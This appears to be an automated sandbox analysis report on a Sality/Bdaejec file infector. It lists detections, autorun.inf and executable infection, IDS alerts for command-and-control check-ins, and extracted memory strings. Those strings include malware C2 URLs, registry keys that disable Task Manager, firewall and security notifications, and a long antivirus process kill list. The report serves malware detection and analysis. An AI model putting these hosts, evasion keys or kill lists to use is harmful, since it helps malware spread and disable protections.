                Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeAvira: detection malicious, Label: W32/Jadtre.B
                Multi AV Scanner detection for dropped file
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeReversingLabs: Detection: 100%
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for dropped file
                Source: C:\Program Files\7-Zip\Uninstall.exeJoe Sandbox ML: detected
                Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exeJoe Sandbox ML: detected
                Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJoe Sandbox ML: detected
                Machine Learning detection for sample
                Source: a4#Uff09.exeJoe Sandbox ML: detected
                Source: a4#Uff09.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                Source: Binary string: .objK.pdb source: SearchApp.exe, 0000001C.00000000.1565581389.000001F4AEDB0000.00000004.00000001.00020000.00000000.sdmp

                Spreading

                barindex
                Yara detected Sality
                Source: Yara matchFile source: 0.2.a4#Uff09.exe.29d0000.10.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: a4#Uff09.exe PID: 7020, type: MEMORYSTR
                Creates autorun.inf (USB autostart)
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile created: C:\autorun.infJump to behavior
                Infects executable files (exe, dll, sys, html)
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSystem file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exeJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSystem file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exeJump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeSystem file written: C:\Program Files\7-Zip\Uninstall.exeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: z:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: y:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: x:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: w:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: v:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: u:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: t:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: s:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: r:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: q:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: p:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: o:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: n:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: m:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: l:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: k:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: j:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: i:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: h:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: g:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: f:Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeFile opened: e:Jump to behavior
                Source: C:\Windows\System32\dllhost.exeFile opened: c:Jump to behavior
                Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\autorun.inf
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: autorun.inf
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\autorun.infO;
                Source: a4#Uff09.exe, 00000000.00000002.3884264552.000000000578B000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: [autorun]
                Source: a4#Uff09.exe, 00000000.00000002.3895454085.0000000006237000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\autorun.inf
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: [AutoRun]
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: autorun.inf
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: _kkiuynbvnbrev406C:\hh8geqpHJTkdns0MCIDRV_VERMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)MPRNtQuerySystemInformationSoftware\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache GlobalUserOfflineSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsSoftware\Microsoft\Windows\CurrentVersionhttp://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdrivers\KeServiceDescriptorTable_os%d%dhttp://kukutrustnet777888.info/DisableTaskMgrSoftware\Microsoft\Windows\CurrentVersion\policies\systemEnableLUASoftware\Microsoft\Windows\ShellNoRoam\MUICachemonga_bongapurity_control_90833SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile%s:*:Enabled:ipsecSYSTEM\CurrentControlSet\Services\SharedAccessStart\AuthorizedApplications\ListSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AdvancedHidden[AutoRun]
                Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: shell\explore\Commandshell\Autoplay\commandDisableRegistryToolsDAEMON.Simple Poly Engine v1.1a(c) Sector\SvcSOFTWARE\Microsoft\Security CenterAntiVirusOverrideAntiVirusDisableNotifyFirewallDisableNotifyFirewallOverrideUpdatesDisableNotifyUacDisableNotifyAntiSpywareOverrideSYSTEMkukutrusted!.CreateMutexAKERNEL32TEXTUPXCODEGdiPlus.dllDEVICEMBhttp://\Runhttpipfltdrv.syswww.microsoft.com?%x=%d&%x=%dSYSTEM.INIUSER32.DLL.%c%s\\.\amsint32.EXE.SCRSfcIsFileProtectedsfcdrw.VDB.AVCNTDLL.DLLrnd=autorun.infEnableFirewallDoNotAllowExceptionsDisableNotificationsWNetEnumResourceAWNetOpenEnumAWNetCloseEnumADVAPI32.DLLCreateServiceAOpenSCManagerAOpenServiceACloseServiceHandleDeleteServiceControlService__hStartServiceANOTICE__drIPFILTERDRIVERChangeServiceConfigAwin%s.exe%s.exeWININET.DLLInternetOpenAInternetReadFileInternetOpenUrlAInternetCloseHandleAVPAgnitum Client Security ServiceALGAmon monitoraswUpdSvaswMon2aswRdraswSPaswTdiaswFsBlkacssrvAV Engineavast! iAVS4 Control Serviceavast! Antivirusavast! Mail Scanneravast! Web Scanneravast! Asynchronous Virus Monitoravast! Self ProtectionAVG E-mail ScannerAvira AntiVir Premium GuardAvira AntiVir Premium WebGuardAvira AntiVir Premium MailGuardBGLiveSvcBlackICECAISafeccEvtMgrccProxyccSetMgrCOMODO Firewall Pro Sandbox DrivercmdGuardcmdAgentEset ServiceEset HTTP ServerEset Personal FirewallF-Prot Antivirus Update MonitorfsbwsysFSDFWDF-Secure Gatekeeper Handler StarterFSMAGoogle Online ServicesInoRPCInoRTInoTaskISSVCKPF4KLIFLavasoftFirewallLIVESRVMcAfeeFrameworkMcShieldMcTaskManagerMpsSvcnavapsvcNOD32krnNPFMntorNSCServiceOutpost Firewall main moduleOutpostFirewallPAVFIRESPAVFNSVRPavProtPavPrSrvPAVSRVPcCtlComPersonalFirewalPREVSRVProtoPort Firewall servicePSIMSVCRapAppSharedAccessSmcServiceSNDSrvcSPBBCSvcSpIDer FS Monitor for Windows NTSpIDer Guard File System MonitorSPIDERNTSymantec Core LCSymantec Password ValidationSymantec AntiVirus Definition WatcherSavRoamSymantec AntiVirusTmntsrvTmPfwUmxAgentUmxCfgUmxLUUmxPolvsmonVSSERVWebrootDesktopFirewallDataServiceWebrootFirewallwscsvcXCOMMSystem\CurrentControlSet\Control\SafeBoot%d%d.tmpSOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList%s\%s%s\Software\Microsoft\Windows\CurrentVersion\Ext\StatsSoftware\Microsoft\Windows\CurrentVersion\Ext\StatsSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper ObjectsKERNEL32.DLLbootshellSYSTEM.INIExplorer.exeAVPM.A2GUARDA2CMD.A2SERVICE.A2FREEAVASTADVCHK.AGB.AKRNL.AHPROCMONSERVER.AIRDEFENSEALERTSVCAVIRAAMON.TROJAN.AVZ.ANTIVIRAPVXDWIN.ARMOR2NET.ASHAVAST.ASHDISP.ASHENHCD.ASHMAISV.ASHPOPWZ.ASHSERV.ASHSIMPL.ASHSKPCK.ASHWEBSV.ASWUPDSV.ASWSCANAVCIMAN.AVCONSOL.AVENGINE.AVESVC.AVEVAL.AVEVL32.AVGAMAVGCC.AVGCHSVX.AVGCSRVX.AVGNSX.AVGCC32.AVGCTRL.AVGEMC.AVGFWSRV.AVGNT.AVCENTERAVGNTMGRAVGSERV.AVGTRAY.AVGUARD.AVGUPSVC.AVGWDSVC.AVINITNT.AVKSERV.AVKSERVICE.AVKWCTL.AVP.AVP32.AVPCC.AVASTAVSERVER.AVSCHED32.AVSYNMGR.AVWUPD32.AVWUPSRV.AVXMONITORAVXQUAR.BDSWITCH.BLACKD.BLACKICE.CAFIX.BITDEFENDERCCEVTMGR.CFP.CFPCONFIG.CCSETMGR.CFIAUDIT.CLAMTRAY.CL
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029DBADD Sleep,lstrcat,lstrcpy,CharLowerA,lstrcat,FindFirstFileA,FindNextFileA,Sleep,lstrlen,lstrcat,lstrlen,CharUpperA,lstrlen,lstrcmpiA,lstrcmpiA,lstrcpy,lstrlen,lstrcmpiA,FindClose,Sleep,0_2_029DBADD
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 0_2_029D57A0 GetTempPathA,lstrlen,lstrcat,lstrlen,lstrcpy,lstrcat,FindFirstFileA,FindNextFileA,lstrcat,lstrlen,lstrlen,lstrcmpiA,lstrcmpiA,Sleep,FindClose,Sleep,RtlExitUserThread,0_2_029D57A0
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,2_2_00DB29E2
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeCode function: 2_2_00DB2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,2_2_00DB2B8C
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\Jump to behavior
                Source: C:\Users\user\AppData\Local\Temp\plgMeM.exeFile opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\Jump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-04h], esp0_2_00546812
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-04h], esp0_2_00546812
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-08h], esp0_2_00670000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-30h], esp0_2_00670000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-08h], esp0_2_006A0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-08h], esp0_2_006A0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-14h], esp0_2_006A0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-000000B4h], esp0_2_006B0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-14h], esp0_2_006B0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-14h], esp0_2_006B0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_006B0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_006B0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-14h], esp0_2_006B0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-14h], esp0_2_006B0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-14h], esp0_2_006B0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-14h], esp0_2_006B0000
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-0Ch], esp0_2_0056B8DC
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-20h], esp0_2_0056B8DC
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-20h], esp0_2_0056B8DC
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-08h], esp0_2_00615DC6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-08h], esp0_2_00615DC6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-08h], esp0_2_00615DC6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-08h], esp0_2_00615DC6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-1Ch], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-18h], esp0_2_00556EE6
                Source: C:\Users\user\Desktop\a4#Uff09.exeCode function: 4x nop then cmp dword ptr [ebp-0Ch], esp0_2_005425BE

                Networking

                barindex
                Snort IDS alert for network traffic
                Source: TrafficSnort IDS: 2838522 ETPRO TROJAN Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup 192.168.2.7:49274 -> 1.1.1.1:53
                Source: TrafficSnort IDS: 2807908 ETPRO TROJAN Backdoor.Win32/Bdaejec.A Checkin 192.168.2.7:49706 -> 44.221.84.105:799
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49707 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49708 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49709 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 44.221.84.105:80 -> 192.168.2.7:49709
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49710 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49711 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2807908 ETPRO TROJAN Backdoor.Win32/Bdaejec.A Checkin 192.168.2.7:49712 -> 44.221.84.105:799
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49714 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49715 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49716 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49717 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49718 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2807908 ETPRO TROJAN Backdoor.Win32/Bdaejec.A Checkin 192.168.2.7:49719 -> 44.221.84.105:799
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49720 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49721 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49722 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49723 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49724 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49728 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49730 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49733 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49734 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49735 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49736 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49737 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49738 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49739 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49740 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49741 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49742 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49743 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49744 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49745 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49746 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49747 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49748 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49749 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49750 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49751 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49752 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49753 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49756 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49757 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49759 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49760 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49761 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49764 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49765 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49767 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49768 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49769 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49770 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49771 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49772 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49773 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49774 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49775 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49776 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49777 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49778 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49779 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49780 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49782 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49783 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49784 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49785 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49786 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49787 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49788 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49789 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49790 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49791 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49792 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49794 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49795 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49796 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49797 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49798 -> 37.230.104.89:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49799 -> 54.244.188.177:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49800 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49801 -> 44.221.84.105:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49802 -> 78.46.2.155:80
                Source: TrafficSnort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.7:49803 -> 37.230.104.89:80
